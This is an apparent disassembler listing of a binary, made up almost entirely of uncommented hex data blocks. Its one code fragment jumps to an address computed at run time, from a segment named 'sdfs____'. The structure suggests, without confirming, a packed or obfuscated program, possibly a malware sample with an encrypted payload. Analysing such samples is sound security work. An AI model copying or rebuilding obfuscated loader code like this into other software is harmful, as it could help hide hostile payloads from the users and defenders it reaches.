		dd 0A13F8996h, 58469289h, 1476A2F9h, 0E821451h,	2891AC65h
		dd 6D7586A9h, 6F7D73F0h, 424211C4h, 88185BA1h, 930BCBC9h
		dd 88544E0Fh, 0A064A211h, 17FEDDFh, 0CB527C2Eh,	12AAh
		dd 0E5FD2D65h, 0F973754h, 1D85514Ah, 21B961BCh,	34527290h
		dd 0DA38949Eh, 0F32DAC3Ah, 21EB32Bh, 1A71C0DEh,	0A97BD0CEh
		dd 2E631E02h, 7DDFDAA9h, 158D514Fh, 36D63495h, 25F52CABh
		dd 0A08C27B7h, 58A13F84h, 0E5C1D61Bh, 0C8A59A77h, 4FFD59D1h
		dd 0D7188858h, 58062394h, 0C8C1E040h, 1071851Ch, 0B129F9h
		dd 62CDDF07h, 462E99A2h, 8B8B1636h, 0B123EF26h,	1BA68A21h
		dd 1162A140h, 8FB3F08Ah, 0F9EBFD4Ah, 29422372h,	0AE2231A9h
		dd 0B128F82Fh, 265BC2C9h, 0F74C90E1h, 395D8983h, 4CE7F53Ah
		dd 0A9B5C5F1h, 722E488Bh, 94C026BDh, 801BB1A5h,	2B64982Dh
		dd 1B5887E3h, 3515E289h, 0D023A1D0h, 0DE0A01C0h, 8BB13ACAh
		dd 4F91F6F5h, 8AEC306Eh, 59D0445h, 0B5EF5DB4h, 6F572869h
		dd 0F22E9D1Ah, 11C449D4h, 475F0000h, 514E039Bh,	6BA4158Dh
		dd 7B963BA3h, 8C8A4F57h, 7AE45248h, 0CED4F816h,	0DDC5110Bh
		dd 0E2F8207Ch, 0F2E8386Fh, 2CC745h, 0B8A92E64h,	584F53FDh
		dd 0CA1F6E88h, 0B05C4D4h, 0B848D8C3h, 0B1D5FD19h, 0E38217B2h
		dd 11A928AAh, 5F361A91h, 0EDF29956h, 89308DA2h,	0D1165759h
		dd 0A31108C9h, 1A7CBD69h, 18881EABh, 44967993h,	465A99A1h
		dd 5A409087h, 1670A0F7h, 0C9C1257h, 55BC6567h, 1A8ECD99h
		dd 24B464BBh, 9311F94h,	63A08978h, 0A70A49A3h, 1C43A76Bh
		dd 554C0D85h, 90316185h, 54AAC74h, 9301C97h, 0EBE88978h
		dd 96085DF0h, 20A06902h, 51A29161h, 6507E0ACh, 0C855733Eh
		dd 1102h, 4D55859Dh, 574F8F8Ch,	657DA9E2h, 8911B9D4h, 9C0ACAC8h
		dd 32503C26h, 4B45F492h, 5AB61B83h, 72A928B6h, 18338A6h
		dd 2E63C66Ah, 953782A9h, 55DE514Fh, 0A13F84E7h,	8B1350A3h
		dd 82DC38F7h, 52B7EA80h, 594F9437h, 4B8F8A4Bh, 0FAE13168h
		dd 0AA90C16Ah, 3B9AA928h, 66AE35E1h, 7990F115h,	0EE08D0CBh
		dd 1C5C2E1h, 8746DAC0h,	5B264090h, 785B9840h, 0AE95F121h
		dd 5D8D8433h, 0E9FF4439h, 0A82170FBh, 2033A13Fh, 82649AC6h
		dd 0BF27F32Ah, 0A323C106h, 5295171Fh, 57DCCC0Dh, 9956451Eh
		dd 0BE036774h, 0B15FBB67h, 55F4578Fh, 570A9139h, 670C9C12h
		dd 916D35EEh, 15A53744h, 9B17B29Eh, 7E657681h, 0B28B64E4h
		dd 515B049Fh, 4C43F2E9h, 0B3D7A9Ch, 0E8819AC6h,	0F81C79D8h
		dd 33D7339Eh, 0CF37D7F2h, 0CA96465Dh, 0EE887E18h, 51E1F330h
		dd 9AD276DAh, 882D3281h, 0D4DA4627h, 2CA63D62h,	39E13D9Ch
		dd 4C0B96DDh, 1C618555h, 33C3D1C7h, 0F92408A3h,	97E4819Ah
		dd 14EE670Ch, 0F33C8984h, 0C0A8F816h, 0FB0198B6h, 7E9DE2F8h
		dd 96F4085Dh, 0D9A28E25h, 156679B1h, 4C8DB2D4h,	0B33DD75Ch
		dd 65581A0h, 0A90B0968h, 466A76Fh, 0C2FFA597h, 35AB3871h
		dd 0D9D40CA7h, 7C2C79B1h, 0D42649F7h, 24462669h, 22B3920Ah
		dd 544485D6h, 54729EF5h, 1862AEE5h, 16B4A788h, 0E3745906h
		dd 0ECC458AEh, 68731CEDh, 966BABE9h, 16BE1604h,	6F9C3947h
		dd 2A00000Fh, 19B826F2h, 0FC2D8FCh, 61D0CE16h, 55E4E226h
		dd 510F9737h, 61A5E3CFh, 16BED879h, 5CDC988h, 35E53C9Dh
		dd 0F97236ADh, 0A92E6553h, 4F268217h, 0A4158D51h, 2C05B16Dh
		dd 750235D9h, 988FD234h, 0F1352E48h, 40908715h,	52BC050h
		dd 0C5A14028h, 3C972BB6h, 0C1615D8h, 19280h, 584FC400h
		dd 5EB91888h, 8AD72FBAh, 0E65F4793h, 0D65D4F61h, 0A9289D0Bh
		dd 2FF71081h, 234784CBh, 566BC474h, 0B4158799h,	6A698D5Dh
		dd 2B679F7Fh, 13FFCDCBh, 49BFh,	1653D100h, 0BDF1080h, 65ADE927h
		dd 2991C201h, 0B7D2F10Ah, 73F88813h, 0A9294A0Eh, 51A3034Ch
		dd 9C9A1217h, 0D21F76A1h, 0D51A54AAh, 7B52FAB1h, 0E9159957h
		dd 0E63F9EFDh, 5B98405Ch, 34A9303Fh, 13FEC1E0h,	0CC88h
		dd 584FCC00h, 0F4207ADBh, 3F8451FFh, 85CA09A1h,	75903161h
		dd 898736ADh, 49402145h, 4842DA95h, 1D565FD6h, 0BA44F0D6h
		dd 0D7C50A8Bh, 0AF80AC47h, 3B38A13Fh, 140B56A0h, 0AF44D4C4h
		dd 0A13FAF81h, 5EC26939h, 1AA13FAFh, 890198D9h,	963E58F9h
		dd 0B481660Bh, 0A7FEA13Fh, 75F2637Bh, 69C3DD6Fh, 296E1EDCh
		dd 584330BBh, 4695A92Ch, 7195F352h, 6AAAE869h, 3F420B99h
		dd 0A9345226h, 0E12h, 5D45958Dh, 677F9FFCh, 756DB9D2h
		dd 9901C9C4h, 0AC3ADA38h, 42402C36h, 5BB50482h,	6AA62BB3h
		dd 829938A6h, 11934856h, 2E66B69Ah, 852772A9h, 7DC3DF7Eh
		dd 519EF824h, 119AF610h, 0A13F852Bh, 34AFECEFh,	5F478785h
		dd 6F77A3FAh, 88584FEFh, 0DC0C036Eh, 8A8342C6h,	0A03B3842h
		dd 504CFA11h, 3E987284h, 82C30819h, 908E4F5Dh, 0DCA1554Ch
		dd 0E8831187h, 0A929751Dh, 0C7B62C2Fh, 7B5h, 86AA41D1h
		dd 3A995763h, 57638BB1h, 0E40C4F99h, 7E480C97h,	831EC6DFh
		dd 0D436D634h, 3F8475A7h, 0C5DB68A1h, 379918D7h, 7441B60Bh
		dd 0A454DF6Dh, 0ECA92F3Eh, 455CFDEFh, 554C0D95h, 0A1316185h
		dd 518B260Ah, 0DC9DE299h, 57524A6Ah, 31EBDE2h, 2DB4BBDFh
		dd 0D3AC70AEh, 26389DCBh, 2FED8896h, 0EA00000Dh, 0D97866B2h
		dd 0CF8218BCh, 21900ED6h, 15A422E6h, 11CFD7F7h,	0A165A30Fh
		dd 567E9839h, 458D8948h, 75A5FC5Dh, 0B932F66Dh,	0A92E6793h
		dd 4FE64257h, 8F1F8D51h, 3F8538E4h, 0F8E3F0A1h,	68B8EF62h
		dd 0BC6CA30Eh, 0D273015Ah, 99756CB8h, 34E83F6Dh, 0CD67D3F5h
		dd 0CED41544h, 16140115h, 24690Ch, 652F0000h, 0A13F8FA8h
		dd 0EF0BCFCBh, 0ABC4A3E0h, 0CCFFFFFDh, 7989B73Ch, 0B239A13Fh
		dd 0A13F798Eh, 90E3094Ah, 0B3654F09h, 2AA13F84h, 12990B9Dh
		dd 0A92E5EF2h, 0FF2DC656h, 0F29950ABh, 29167094h, 0E329B0C3h
		dd 4A410090h, 5AB1009Eh, 7056C8Eh, 4C8A3AC7h, 0FB05263Bh
		dd 0C7152h, 24F42C00h, 0DEFE1BBEh, 0CC1871C0h, 0E02863D6h
		dd 953957FAh, 0E1CD570Dh, 0D67B63A3h, 0C78A10BCh, 3A9F07CBh
		dd 30AF37E3h, 6855FB70h, 8015A92Eh, 88584F24h, 0DC0C036Eh
		dd 0D6D963CCh, 5290C04Dh, 0FC94CF37h, 59C405Dh,	0E9EFDE9h
		dd 4074B765h, 0B83373A1h, 0A1407494h, 8DC60754h, 2C143A86h
		dd 4E0D941Dh, 0A0138B57h, 0C15FB54h, 1C04h, 0DF7E5800h
		dd 93FE18C8h, 0E355175h, 6BAFEAC9h, 8F36EB70h, 583FA13Fh
		dd 0FFFFFCD6h, 8016537Ch, 0A01A9B10h, 0CB08A928h, 6941E8AFh
		dd 0F6089956h, 0CF728210h, 400113FFh, 757A9C44h, 1AD396Eh
		dd 655F0000h, 0A13F84E3h, 0A6C00C06h, 9E3578B9h, 8E435B87h
		dd 0F8594B97h, 0B132779Bh, 32A782BCh, 3FAAA9CDh, 4BD0D0C7h
		dd 96E8A140h, 35E53C70h, 39B730ADh, 4D9DF4DDh, 0F824CF5Fh
		dd 0B0A1404Ah, 2FA238A3h, 0C9CE28F8h, 0A1404ACFh, 0D26086B8h
		dd 0C15EFC2h, 4999F051h, 3ACF2A2Dh, 59F7D99Dh, 48E48118h
		dd 0B8000001h, 1888584Fh, 0F5B45CB9h, 0E986762h, 1CFAE126h
		dd 14B25EB5h, 26BA2CB9h, 3ADA3796h, 630893D0h, 0A9294B5Eh
		dd 2B63CCDCh, 6C3D9F52h, 5340ECE5h, 0FBF89957h,	0F15B50BAh
		dd 0F8995752h, 0B011759Dh, 6B57B353h, 0B8D9F115h, 0C2D26086h
		dd 0B613FEE6h, 4Ch, 0C3DF7EEEh,	8479A74Ch, 2231A13Fh, 0FE4BE6FDh
		dd 0BC37F8E8h, 53142E5Bh, 4AF3DA4h, 0A9295259h,	0E7336AEBh
		dd 0A3C714FCh, 0EC306EEFh, 1DBC6CF5h, 1D8F9957h, 51B565BCh
		dd 8F534F12h, 817D646Bh, 1FCD2965h, 95BD13FFh, 0D3000000h
		dd 6E88584Fh, 0A5C10503h, 0F115C5DCh, 0CECB7990h, 0AAE7EC0Eh
		dd 507F54E1h, 51498E76h, 4071B5CAh, 57839AA1h, 0C51964Fh
		dd 4040B967h, 3D6271A1h, 164F04AFh, 51E1A92Ch, 546B76DAh
		dd 0BA213299h, 32930152h, 27AA30D4h, 0AE5825E9h, 3D263E8Ch
		dd 0A648A13h, 0E73F0000h, 0F12EA33Bh, 0B04B52Dh, 1B76DBC3h
		dd 2C6AEFF7h, 0DA44F2E8h, 6E7498F6h, 7D65B1EBh,	8218C0DCh
		dd 9208D8CFh, 60CC6725h, 18A92E6Ah, 514F339Dh, 6DA4158Dh
		dd 0FA1CC4DFh, 0AE2EB4F5h, 6E88584Fh, 0C6DC0C03h, 41858342h
		dd 4373F5Ah, 0BD5D0000h, 7167FC9Dh, 5E39C863h, 9233A92Eh
		dd 0CE36AD79h, 296EB6EFh, 5AD16141h, 9950AAF6h,	873AA1B2h
		dd 0AC3CAC42h, 7B5DC743h, 41978D23h, 155CDA0h, 0AC35ACEDh
		dd 0A13A3F21h, 33FF549Bh, 1D5C4D29h, 110DCCDCh,	3BA6ADC9h
		dd 0B06C7DBh, 0F25ED5C7h, 0B6916881h, 83B53EA5h, 44916881h
		dd 264ECC3Ah, 521BEDB7h, 379h, 84B3650Ah, 3B1CA13Fh, 0B0A13F85h
		dd 9F2FBD33h, 97930550h, 0B2395DB4h, 0A13FC18Eh, 0D8C8094Ah
		dd 3FC1ED53h, 33AEADA1h, 28E0A3AEh, 29DA19A9h, 263D75A3h
		dd 6F711C3Ah, 2A000009h, 19B826F2h, 0FC2D8FCh, 61D0CE16h
		dd 55E4E226h, 510F9737h, 61A5E3CFh, 16BED879h, 5CDC988h
		dd 35E53C9Dh, 0F97236ADh, 0A92E6B53h, 7E268217h, 841FC3DFh
		dd 0E832DE35h, 9D8328B8h, 5DA13F84h, 3BE18A1Eh,	0FFA13F85h
		dd 0FD4AE5FCh, 0A672F9EBh, 0CAA92E5Eh, 0AA8BB13Ah, 0BC379950h
		dd 9950AA90h, 92E10B48h, 0D4F201F7h, 2A9EC79h, 9950AB1Eh
		dd 485899DAh, 3F8459A3h, 861A59A1h, 9901CDC7h, 61D25212h
		dd 55559B91h, 4A928C4Dh, 0CD4A4120h, 61CFFA26h,	7CBDBE91h
		dd 0CCC7861Ah, 0A5229D04h, 6F0AA133h, 0E5994AE6h, 0F2E62664h
		dd 78B9D379h, 5D449789h, 3BDBA4B7h, 0C636135Eh,	8AC1DB8h
		dd 2F670000h, 3956FBE3h, 534C0D95h, 63BE138Bh, 749227BFh
		dd 929C4A50h, 0A63CE03Eh, 0B52DF913h, 0DAC00804h, 0EAF02077h
		dd 1804AF7Dh, 0D0A92E6Dh, 16537BC5h, 919B1080h,	91A92E5Eh
		dd 958F4E42h, 0A6E05149h, 1CA91C7Eh, 0A986168Ah, 0E5DC150Eh
		dd 0DB405B17h, 0A13FD44Dh, 0A4FC1E5Dh, 0C637744Bh, 0F5EC1B5Ch
		dd 99B0D5Ah, 4B632762h,	68A41599h, 0C69E63A0h, 913613F3h
		dd 830EE77h, 0B3EB0000h, 0BDDA7F67h, 0D7308119h, 0E722970Fh
		dd 0F816BB23h, 0E10CED4h, 3AA064A2h, 49517D97h,	5E448C88h
		dd 6E74A4FBh, 94B833F1h, 54A92E6Ch, 584FE741h, 70DDA484h
		dd 0EE2F4F91h, 6ADB148Ch, 0ADDC5Fh, 0D2C98813h,	0B982EB0Ah
		dd 0A306BD44h, 763A068h, 51B561BAh, 0A9CD1570h,	9F0DF90Bh
		dd 3A395D81h, 887EA0F5h, 0B52DFD14h, 1695FA1Ah,	0CEC8890Ch
		dd 0BDE22A64h, 0E68F1A59h, 181h, 801653BEh, 982A9B10h
		dd 99F8A928h, 0FF1B587Ch, 567090B8h, 0DBFB1999h, 49FCBCBFh
		dd 76FBF668h, 76903853h, 0C0FAEC22h, 2B679FA3h,	140059CBh
		dd 14CBFh, 584FD100h, 0C036E88h, 4763CCDCh, 547BFB23h
		dd 0DE62F8E3h, 0EB5D5711h, 0E7E2AA5Ch, 0FBE9FF44h, 64B0EA6Bh
		dd 0A6E9F47Dh, 1063A928h, 0E13B9AF6h, 577B9635h, 0C950C33h
		dd 9956761Ch, 0E733D3EFh, 13FFC38Fh, 39FBh, 16539D00h
		dd 0F69B1080h, 34A9289Eh, 64D4C327h, 6599566Ah,	3F82E428h
		dd 0C4DC3EE6h, 566B012Fh, 61BAB999h, 0D031C93Dh, 0DC0801C0h
		dd 71BD29C5h, 13FFD225h, 0A155h, 584F0B00h, 8B533984h
		dd 6A4916F1h, 4380EA2Eh, 7B99F802h, 32B9495Bh, 0A13FFB0Eh
		dd 6EAEEBCAh, 7D44B229h, 577F9826h, 3D9CF416h, 94DB3FDFh
		dd 8B574E0Dh, 12E8D619h, 73325Ch, 39EDF07h, 7173E08Fh
		dd 958CA140h, 63E05D45h, 9FD45F4Dh, 0E9A92C0Dh,	3957F6EAh
		dd 4E4C0D95h, 0B571F58Eh, 0D6F0263Eh, 6954Fh, 0C8187000h
		dd 0E2227FD2h, 903C55E4h, 844C470Ah, 0B95DBB1Eh, 0C5A98B21h
		dd 3A9F07C7h, 2BAE34E0h, 1EB32BEFh, 14C3DB07h, 6F311F94h
		dd 0ACE9A92Eh, 8D514F00h, 0BD6DA415h, 0EE7E9125h, 3F84D745h
		dd 594093A1h, 1377A3FAh, 138B574Eh, 0C083A08Fh,	51A3B335h
		dd 1E539034h, 2299302Bh, 72059CEBh, 55h, 0B370BD16h, 0BB30A036h
		dd 0A92E5E6Bh, 0CD92787Bh, 215592AFh, 97DC3EEAh, 0AAC26E05h
		dd 75869950h, 8414A434h, 50AA41EFh, 0EFFAF999h,	3F83AD7Ah
		dd 0DB6CC3A1h, 0DCCA1573h, 36A76D74h, 8AD733DFh, 0C7044591h
		dd 82AE45D5h, 46916201h, 31E4AE35h, 27h, 80165357h, 0A0EA9B10h
		dd 3B38A928h, 586FD8DFh, 0B1A39956h, 188EDB55h,	9572E388h
		dd 0B3C0A13Fh, 95622Bh,	7E060000h, 9D94C9B1h, 6E7522CDh
		dd 706076F3h, 2EE029FBh, 0DD3A39A9h, 0C638F00Ch, 10829220h
		dd 64F61405h, 0AE000000h, 336FEE7Eh, 4F448BEFh,	0A13F84E1h
		dd 1C775A99h, 0F572EDF4h, 38428681h, 56E6FA3Bh,	84FF2DC6h
		dd 0DABBA13Fh, 0F6FD19BDh, 70812AB1h, 82A92E5Eh, 0B7D3F713h
		dd 0BD224B88h, 0D1356B3Fh, 5923145h, 1D5914h, 537F0000h
		dd 9B108016h, 0A92E5E8Bh, 0B233589Bh, 0C2245A4Eh, 58E2074h
		dd 0D4814h, 650C0000h, 0A13FA088h, 0FF47EE89h, 5382FFFFh
		dd 0DF108016h, 0F236A784h, 4C476AD0h, 0E48F1D84h, 0A92ED1E0h
		dd 38990B48h, 9ED135DDh, 5FF4B49h, 5D7CBD92h, 757A9C40h
		dd 59F8A86Eh, 4E35993Dh, 0A4403AF9h, 0C5DC0367h, 6FA9DD6Ah
		dd 0F97266A7h, 0A13F7E2Ah, 0EADB3F3Ch, 0D2594B5Dh, 9950A41Ah
		dd 0D7677586h, 0F080AC47h, 3B388972h, 0D0F411A0h, 0D8CE1BCAh
		dd 0CAD923C8h, 20A19161h, 9E3E5CE6h, 0AB36777Ch, 0C3821665h
		dd 0E02461C7h, 82185986h, 0AAC268E5h, 1BBA19h, 1B72C1D8h
		dd 237CDDCFh, 0E76AE0FBh, 94B833B0h, 54E95D6Bh,	0C1A4C607h
		dd 0EE7E1284h, 0F1E8386Fh, 46881968h, 0CE282BF1h, 763A7E3h
		dd 52B460BAh, 0BA54B2CCh, 4EDE0876h, 0BE138B57h, 755CBE62h
		dd 65E4F418h, 5B98E22Eh, 2CE2B640h
		dd 0E22662BAh, 0ACE564E4h, 0BEDA7960h, 21A0F01Ah, 849E3DE5h
		dd 0FA004158h, 65814543h, 0BBDFFF1Ch, 76887EA0h, 0C4588E70h
		dd 5F9000C8h, 9E396E8Dh, 7B264CBDh, 6D16357Eh, 68ACE9C8h
		dd 535DF971h, 1D648618h, 12B0DA06h, 2FBAF610h, 799021B9h
		dd 5EA340A9h, 0B5E71F23h, 0F5E4B25Eh, 65127498h, 0A13F84B7h
		dd 89E44B5Bh, 96B1DB47h, 0CC70FBE9h, 8CA1406Dh,	4CBA544Fh
		dd 8B13B3D0h, 913D56F7h, 8B4F4B0Ah, 0C327D619h,	63B2A395h
		dd 43029E78h, 62A6E147h, 0DEFEF03Dh, 6B8CF972h,	7042EB70h
		dd 0C135A140h, 779BF725h, 90A1C06Fh, 0C7F8A140h, 0C15E9B0h
		dd 0FFFF86D8h, 0EE7EFCFFh, 3F84D745h, 594093A1h, 6F77A3FAh
		dd 0E67B3EAh, 4FA474ABh, 0E636D062h, 0D07163AFh, 0C8F713B3h
		dd 0BED6A9D1h, 0AA0C16B8h, 3Fh,	801653E2h, 5E8C9B10h, 599AA92Eh
		dd 1F4EB330h, 28BDFBEBh, 7A8922B6h, 8CA13F84h, 8424F42Dh
		dd 34085056h, 0AA415390h, 91621986h, 1AF03142h,	0BCD3A986h
		dd 88D03A67h, 4D6611h, 531A0000h, 80108016h, 6A2B4AFh
		dd 5C47F1C5h, 2E6E40D7h, 970556A9h, 0BAC06C07h,	7B789950h
		dd 60CA9B60h, 68C7D5h, 2DFC5454h, 113FB424h, 0C9995112h
		dd 7FF1F8Ah, 36AA3C89h,	3FEB66BDh, 70170A1h, 77B4BBDFh
		dd 514A0B9Fh, 4FBA1E85h, 36E8858h, 6FC6DC0Ch, 5FD4C4DAh
		dd 0A9289D92h, 2D139808h, 0ED99566Dh, 0AD2CBEEh, 1876D7C5h
		dd 36AD92F4h, 6C61CBC0h, 182A9956h, 0D0CE8FEEh,	0FEE5EA0Ch
		dd 0FFCC3541h, 0B932C213h, 99566493h, 70DC5757h, 28995664h
		dd 96FFEA2Bh, 40h, 801653CEh, 9EF69B10h, 8D4CA928h, 0A8504B93h
		dd 0E0484FABh, 0AB99566Ah, 4D0C6F97h, 676C8E52h, 0D2B3C37Ch
		dd 0B04013FFh, 0A4BB2A7Fh, 28B9E35h, 9955BE1Eh,	7B9FFBDAh
		dd 0EBC6AF3Ah, 9E000000h, 0C884584Fh, 2F0B5495h, 0B31E78B9h
		dd 6DB9D355h, 6185CA09h, 0BDD90900h, 70710AE5h,	3929F9CFh
		dd 2CFC13A2h, 51CA29B6h, 5EB5A140h, 66BF1EB2h, 8C175CBEh
		dd 9C4C43F6h, 28BE0B7Ah, 0D5FD19B8h, 78B53ECEh,	52A92968h
		dd 9F249901h, 240B9B09h, 7888233Ch, 50D9C051h, 0A1434F1Dh
		dd 50FC7707h, 8916B9Eh,	2728D0CBh, 0BEDA262Ah, 70C9D91Ah
		dd 21A03071h, 21B123E3h, 6C17A68Ah, 0B54591h, 7B3EC301h
		dd 43C7C211h, 468570BFh, 7972C9D7h, 11B5D362h, 6B8C46Ch
		dd 0EC89972Eh, 1AAh, 0E5FD2D65h, 0F973754h, 1D85514Ah
		dd 21B961BCh, 34527290h, 0DA38949Eh, 0F32DAC3Ah, 21EB32Bh
		dd 1A71C0DEh, 0A97BD0CEh, 2E741E02h, 7DDFDAA9h,	0D281514Fh
		dd 2265808Bh, 71A1F8DBh, 0F1E92E15h, 0B994940h,	12894D4Ah
		dd 0DF7E3C98h, 0F1FE18C8h, 9EF277EAh, 891B5884h, 0B1E869F9h
		dd 84C46861h, 7784A13Fh, 9E9AC76Ch, 0E1D0A928h,	0D93D62A6h
		dd 56696AD2h, 0E5013D99h, 0FFD34DA9h, 0BD3D13h,	88670000h
		dd 0C61F3F8Dh, 0D8041E8Ah, 6970B1BEh, 88584FEFh, 0C105036Eh
		dd 8911F6A5h, 170EA13Fh, 0A249D9CBh, 0A13F7F7Eh, 0A9CD1973h
		dd 960D4EAAh, 0BA66BD1Ch, 0C6D86D50h, 0F01873D2h, 9CDCB96h
		dd 33A1E6EDh, 3F7F94B8h, 9C0754A1h, 0A0AA670Ch,	7380A928h
		dd 7B6DFA6Bh, 3330C269h, 0F4CA142h, 3EDE3C9Dh, 0AB911AAAh
		dd 6F916A89h, 5CFD756Ch, 35E59E3Eh, 142E016Eh, 0AC630Ah
		dd 2F670000h, 3956FBE3h, 534C0D95h, 63BE138Bh, 749227BFh
		dd 929C4A50h, 0A63CE03Eh, 0B52DF913h, 0DAC00804h, 0EAF02077h
		dd 1804AF7Dh, 0D0A92E75h, 514F7BC5h, 6DA4158Dh,	84D745EEh
		dd 4093A13Fh, 4F339B03h, 0B9188858h, 0EA2CB75Fh, 5A409087h
		dd 6A70A0F7h, 0F41C77D6h, 0B8376EEDh, 3F850D33h, 498ECDA1h
		dd 0E5036E2Dh, 0B1B3BD41h, 0D0C755h, 0FD76069Ah, 853D244Fh
		dd 62D1C80Bh, 79BFF2Bh,	0ACE74946h, 89842764h, 0A0FB5A41h
		dd 61BBFD1Ah, 2D1251B5h, 0EC278AC9h, 5F83E724h,	4057C521h
		dd 50470A90h, 3DF6680h,	0FD000000h, 574F2E8Ah, 0B026F8Bh
		dd 0BAD6BBDFh, 73ADF416h, 24624FABh, 0DD3B86E0h, 99F4DD39h
		dd 534C1571h, 5026F8Bh,	57B7A5C1h, 0C781E789h, 4, 4EF81h
		dd 3C870000h, 0C895C24h, 0E1895124h, 4C181h, 0E9830000h
		dd 240C8704h, 243C895Ch, 35D968h, 24148900h, 0DBC7BE56h
		dd 0F78907EEh, 8324348Bh, 8B5404C4h, 0C4832414h, 17D86804h
		dd 3C890000h, 8428F24h,	5A2434FFh, 4C481h, 3C8B0000h, 0E0895024h
		dd 405h, 40500h, 4870000h, 0A1E95C24h, 18FFFB61h, 99A94EEFh
		db 74h,	0F0h
; ---------------------------------------------------------------------------


loc_5E2F2E:				; CODE XREF: sdfs____:loc_5E18E6j
		mov	eax, 7EEF0F9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 4
		dd 11517959h, 0AC5824D4h, 47250160h, 352C04FAh,	0E324189Bh
		dd 0E174CC5Bh, 0E22398E3h, 0A23A94DEh, 0BE48473Dh, 5375A061h
		dd 6831C1E0h, 763853Ah,	1828C176h, 2A4530F6h, 5A1B7AABh
		dd 210D132Dh, 53D826h, 9D26BAFCh, 5E5B17A4h, 0D11CBAAEh
		dd 0B9380642h, 10516DB5h, 7B70E1D4h, 50A5212h, 0E90580CFh
		dd 0Ah,	452F3BB1h, 0
		dd 0FEE90000h, 6800000Bh, 7EEF3ABh, 0FB610FE9h,	0F4A468FFh
		dd 5E907EEh, 68FFFB61h,	7EEF65Fh, 0FB60FBE9h, 0F76168FFh
		dd 0F1E907EEh, 68FFFB60h, 7EEF9E9h, 0FB60E7E9h,	0FB2F68FFh
		dd 0DDE907EEh, 68FFFB60h, 7EEFC5Fh, 0FB60D3E9h,	0CC1C74FFh
		dd 0E62663D6h, 944059F8h, 88504B0Eh, 0BD61BF12h, 0C9A58F25h
		dd 3E930BCBh, 2FA238E4h, 2B72FF3h, 68C7DF0Bh, 772D1398h
		dd 0A8EDA92Eh, 5A7E9938h, 584FF54Fh, 0C036E88h,	6A63CCDCh
		dd 9E90DCE8h, 0C174D853h, 2734A13Fh, 0E367FBE6h, 0ECFC2862h
		dd 3FC1D947h, 474291A1h, 5B495FE4h, 0D3F43BCBh,	0AADD1DA0h
		dd 0CFE04C45h, 0B4D1A13Fh, 0A3C9F610h, 0F233D732h, 0E87F42D7h
		dd 0AA85A928h, 97B5D927h, 0AC544FCBh, 5DF23DAFh, 9B828BA7h
		dd 1D758118h, 0C03AE68Dh, 0FDFE9956h, 0FD19C5DEh, 0D646EBF6h
		dd 919956BFh, 0D93D796Dh, 8113FF79h, 20h, 801653C7h, 9EF69B10h
		dd 2734A928h, 6A64D4C3h, 1B279956h, 0D247AFEBh,	0DE3313FFh
		dd 55000000h, 1EC6DF7Eh, 0DDD3483h, 0FF18B9E9h,	4D9DF4D7h
		dd 65A9E756h, 0B969A001h, 0CD1D745Dh, 97F455D5h, 7D363A77h
		dd 3BA8A9A2h, 0D1F63BA0h, 66BDA13Fh, 0F416BED8h, 6FAFECCFh
		dd 1F87C40Bh, 4D0CA8Bh,	37E73E9Dh, 8C329480h, 0FA434B9h
		dd 0A13FA321h, 31559AD9h, 79A9E061h, 10CBD61Dh,	0ECFDDD3h
		dd 0AAA9CD11h, 0B3AB13Fh, 0D9A928B5h, 0CC29069Ah, 0D87C927Dh
		dd 0A1261B28h, 3B8FA56Ch, 2EBB2AA0h, 678328B8h,	97A1428Bh
		dd 97F55444h, 0ACEA6F77h, 269F9768h, 0C4E22E01h, 9AC39h
		dd 7CACE400h, 16B6D366h, 4D0C988h, 38E03B9Eh, 2DF12FA2h
		dd 0B9151FB5h, 0AE23BB5Bh, 9F32A874h, 0F2475F83h, 0F8574F9Bh
		dd 779D8328h, 585DA92Eh, 0C1DF7EFCh, 0EFFAF91Dh, 0F4923250h
		dd 4824E45h, 0D31653B0h, 3F84F458h, 7CA0FDA1h, 0BCBFD51Ah
		dd 9BC66D7Fh, 0D1A9289Eh, 98287882h, 566A2D13h,	0F3EEED99h
		dd 5669BE6Eh, 5D1CB99h,	598980E1h, 6E0223Dh, 7B6B97F4h
		dd 0FFD3D73Fh, 0BA8313h, 4FC50000h, 0B9188858h,	7051B55Dh
		dd 1289CE16h, 5F7F9DE4h, 89B17C3Bh, 0ABE2A13Fh,	0BBD2677Fh
		dd 46ED7D6Fh, 0A13F7FDAh, 277E5D9Eh, 5716E0FBh,	670C9C12h
		dd 0A92891AEh, 0DB6F7784h, 0EDF4207Ah, 61EFF572h, 56769308h
		dd 87C20F34h, 0C8D81965h, 421DB623h, 0C0DD7CA1h, 9AFC207Eh
		dd 878D1455h, 75D46474h, 6AE9F01Ch, 5FF2E82Ch, 0C4E09D41h
		dd 572E0082h, 8B3AC49h,	0B3EB0000h, 0BDDA7F67h,	0D7308119h
		dd 0E722970Fh, 0F816BB23h, 0E10CED4h, 3AA064A2h, 49517D97h
		dd 5E448C88h, 6E74A4FBh, 94B833F1h, 54A92E78h, 514FE741h
		dd 180FB1EFh, 5C4A8BC8h, 0FD18A6FDh, 4E0E94D5h,	6E88584Fh
		dd 0C6DC0C03h, 0D4C4DA6Fh, 0CB1FEB44h, 0B9D601A3h, 0CAC8B922h
		dd 0D51AA928h, 0F84DE0C1h, 0DA63A7Ah, 99571F1Fh, 3F5B98DBh
		dd 0F7EF3B52h, 0D9F4B42h, 0ABE9534Ch, 83C00F6Bh, 40597867h
		dd 82090D94h, 2CDB41C4h, 0CE5E88BAh, 3E930BD7h,	0D8DF3BE7h
		dd 5D2FB71h, 0B0EC1A0Ch, 8B1B8959h, 0D2FC3CE0h,	0E4FFFC05h
		dd 64B4EB6Eh, 0FB9E9502h, 0E82105D2h, 0D3510130h, 744E5F6h
		dd 3C829EE3h, 92F435E5h, 4B650AEh, 0AA2447Eh, 7ADFC713h
		dd 0FF93F723h, 198445Eh, 158719AEh, 0BBD83B9Eh,	0DF38990Dh
		dd 1764AC37h, 405AFB8Fh, 564D7294h, 68786EFBh, 7DA348D8h
		dd 74FDE9B4h, 589BF119h, 82921017h, 0D4CFEB75h,	0D2EA464Fh
		dd 0DB3F3C05h, 0B36DDCh, 836C3CF6h, 0D3CFF12Dh,	19F3C20Fh
		dd 4EB8564Dh, 0EE326EEFh, 27E7258Ch, 3242FBE6h,	0C1B754FCh
		dd 0B9DD0500h, 4B462FBAh, 2A000004h, 30AB6FABh,	8985BD84h
		dd 0F4E060A6h, 5940D500h, 5D4F61E6h, 6F7AA2FCh,	0E13B4AE1h
		dd 0A49A928h, 4B470696h, 777C6387h, 995694C9h, 23577281h
